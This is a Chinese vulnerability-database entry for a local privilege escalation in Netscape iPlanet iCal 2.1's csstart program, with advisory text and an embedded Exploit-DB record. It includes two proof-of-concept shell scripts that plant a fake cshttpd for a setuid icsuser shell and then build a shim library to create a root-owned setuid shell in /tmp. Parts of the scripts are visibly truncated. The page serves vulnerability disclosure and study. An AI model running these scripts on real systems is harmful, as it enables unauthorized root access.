发布时间 :2000-12-11 00:00:00
修订时间 :2017-10-09 21:29:28

[原文]csstart program in iCal 2.1 Patch 2 uses relative pathnames to install the libsocket and libnsl libraries, which could allow the icsuser account to gain root privileges by creating a Trojan Horse library in the current or parent directory.

[CNNVD]iCal csstart权限提升漏洞(CNNVD-200012-012)

        iCal 2.1 Patch 2的csstart使用相关路径名安装libsocket和libnsl库,icsuser账户可以通过创建当前目录或父目录的库特洛伊木马获取根权限。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  XF  ical-csstart-gain-access

- 漏洞信息

iCal csstart权限提升漏洞
危急 未知
2000-12-11 00:00:00 2005-05-02 00:00:00
        iCal 2.1 Patch 2的csstart使用相关路径名安装libsocket和libnsl库,icsuser账户可以通过创建当前目录或父目录的库特洛伊木马获取根权限。

- 公告与补丁


- 漏洞信息 (20276)

Netscape iCal 2.1 Patch2 iPlanet iCal 'csstart' Vulnerability (EDBID:20276)
solaris local
2000-10-10 Verified
0 @stake
N/A [点击下载]

Netscape's iPlanet iCal application is a network based calendar service built for deployment in organizations which require a centralized calendar system. Certain versions of iCal ship with a vulnerability in /opt/SUNWicsrv/cal/bin/csstart program. This program is designed to launch the 'cshttpd' server which is the web based interface for the iCal product. 

The problem lies in that the 'csstart' program when run attempts by default to launch cshttpd out of the directory the user is in when they issue the command. Therefore, if a malicious user creates their own cshttpd in the directory from which they launch the csstart the fake server which be launched as opposed to the actual service. This rogue service is effectively launched as the user icsuser and allows the attacker to issue commands as such. Because this user ID owns the iCal directories and files the attacker may user to leverage the attack to root privileges. The example given in the @ Stake advisory is for a user to place shim libraries in the iCal library directory to have the csstart binary retain it's setuid privileges as opposed to dropping them as it is designed to.

Proof of Concept Tools:

There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim library with a modified socket() function that then
executes a shell script as root.

# Simple proof of concept exploit used to obtain icsuser shell.
INSTDIR=`cat /etc/iplncal.conf`

cat > cshttpd << FOOFOO
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser

chmod 755 ./cshttpd

echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null

sleep 1
ls -al ./icsuser

# Simple iCal exploit. Become icsuser by running the shell created with
# the
# script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell. 

INSTDIR=`cat /etc/iplncal.conf`

#Create the shim library..

cat > libsushi.c << FOEFOE
/* libsushi
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
#include <unistd.h>
int socket(void)
return 0;

#create the shell script we'll be executing as root..

cat > $INSTDIR/cal/bin/icalroot << FOOFOO
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/
ls -l $INSTDIR/cal/bin/icalroot

echo ".. Now wait for the iCal service to start up again"

For more advisories:
PGP Key:		

- 漏洞信息

iCal csstart Program Relative Pathname Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

iPlanet iCal contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The csstart program uses relative pathnames to install the libsocket and libnsl libraries. It is possible that a malicious user could gain root privileges by creating a Trojan Horse library in the current or parent directory resulting in a loss of integrity.

- 时间线

2000-10-09 Unknow
2000-10-09 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Sun has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者